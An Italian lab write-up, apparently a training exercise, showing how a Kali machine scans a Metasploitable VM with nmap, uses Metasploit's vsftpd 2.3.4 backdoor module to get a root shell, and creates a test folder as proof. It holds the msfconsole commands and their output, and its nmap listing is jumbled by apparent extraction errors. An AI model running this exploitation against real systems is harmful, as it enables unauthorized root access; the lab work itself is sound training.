HACKING CON METASPLOIT

Come da traccia impostiamo 192.168.1.149 come ip su Metasploit e poi apportiamo le doverose modifiche a Kali per far si che le macchine si trovino nella stessa rete e possano comunicare tra loro. Una volta riavviato controlliamo tramite ping che le macchine siano comunicanti e poi avviamo una scansione delle porte con nmap, controlliamo che la porta 21 sia aperta.

```
ftp
21/tcp
                                                            vsftpd 2.3.4
                                ftp vsftpd 2.3.4
ssh OpenSSH 4.7pl Debian 8ubuntu1 (protocol 2.0)
telnet Linux telnetd
smtp Postfix smtpd
domain ISC BIND 9.4.2
http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
rpcbind 2 (RPC #100000)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
exec netkit-rsh rexect
 22/tcp
                    open
23/tcp
25/tcp
                    open telnet
 53/tcp
                    open
53/tcp open
80/tcp open
111/tcp open
139/tcp open
45/tcp open
512/tcp open
513/tcp open
513/tcp open
1099/tcp open
1524/tcp open
2049/tcp open
2121/tcp open
3306/tcp open
5432/tcp open
                                 exec
login?
                                                            netkit-rsh rexecd
                                                            Netkit rshd
GNU Classpath grmiregistry
                                 shell
                                  java-rmi
                                                           Metasploitable root shell
2-4 (RPC #100003)
ProFTPD 1.3.1
MySQL 5.0.51a-3ubuntu5
PostgreSQL DB 8.3.0 - 8.3.7
VNC (protocol 3.3)
                                 bindshell
                                 ftp
                                 mysql
 5432/tcp open
5900/tcp open
                                 postgresql
vnc
                                                            (access denied)
UnrealIRCd
 6000/tcp open
 6667/tcp open
8009/tcp open
8180/tcp open
 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.24 seconds
```

Avviamo msfconsole



Con il comando search andiamo a cercare vsftpd, l'exploit che ci interessa, possiamo notare che nella descrizione ci viene detto che è un comando di esecuzione di Backdoor

Per usare l'exploit usiamo il comando **use** seguito o dal nome completo o dal numero di riferimento nell'elenco, all'interno dell'exploit potremo andare a vedere le opzioni con **show options**, qui vediamo che è richiesto il targeto host sotto la voce **RHOST**.

```
msf6 exploit(
                                             ) > show options
Module options (exploit/unix/ftp/vsftpd 234 backdoor):
   Name
            Current Setting Required Description
                                          The local client address
The local client port
   CHOST
   CPORT
                                          A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)
  RHOSTS
Payload options (cmd/unix/interact):
   Name Current Setting Required Description
Exploit target:
   Id Name
       Automatic
View the full module info with the info, or info -d command.
```

Per inserire l'ip del target host usiamo il comando **set RHOST** seguito dall'IP di Metasploit

```
\frac{\text{msf6}}{\text{exploit}}(\frac{\text{unix/ftp/vsftpd}_234\_backdoor}) > \text{set RHOST 192.168.1.149} \text{RHOST} \Rightarrow 192.168.1.149
```

Adesso andiamo a vedere i payloads disponibili, in questo caso ne è presente uno solo che verrà usato di default, se ce ne fossero stati di più avremmo potuto selezionare quello che ci interessava con il comando set payload seguito dal nome.

Prima di lanciare l'attacco controlliamo sempre le opzioni di exploit e payload. In questo caso vediamo che l'RHOST adesso è aggiornato con l'indirizzo che gli abbiamo settato in precedenza e che per il payload non è necessario alcun parametro.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.1.149:21 - USER: 331 Please specify the password.

[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...

[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.1.101:43211 → 192.168.1.149:6200) at 2023-06-12 05:58:08 -0400
```

La Shell è stata trovatra, siamo riusciti ad entrare, proviamo con ifconfig e vediamo che la macchina che abbiamo attaccato con successo è prorpio quella di Metasploid.

Adesso andiamo a creare una cartella chiamata test_metasploit nella directory di root. Usiamo il comando pwd per capire dove ci troviamo, la risposta è / (root) quindi non abbiamo bisogno di spostarci, creiamo una cartella con il comando mkdir (make directory) seguito dal nome che vogliamo darle, infine controlliamo con il comando Is la lista dei file presenti nella directory root e vediamo che è presente la nostra nuova cartella.

```
pwd
/
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Possiamo controllare anche direttamente sulla macchina Metasploit, dalla home con il comando cd / ci spostiamo nella directory root, e poi con ls controlliamo che sia presente la cartella creata da Kali

```
msfadmin@metasploitable:/home$ cd /
msfadmin@metasploitable:/$ pwd
/
msfadmin@metasploitable:/$ ls
bin dev initrd lost+found nohup.out root sus
boot etc initrd.ing media opt sbin test_metasploit var
cdrom home lib mnt proc srv tmp vmlinuz
msfadmin@metasploitable:/$ _
```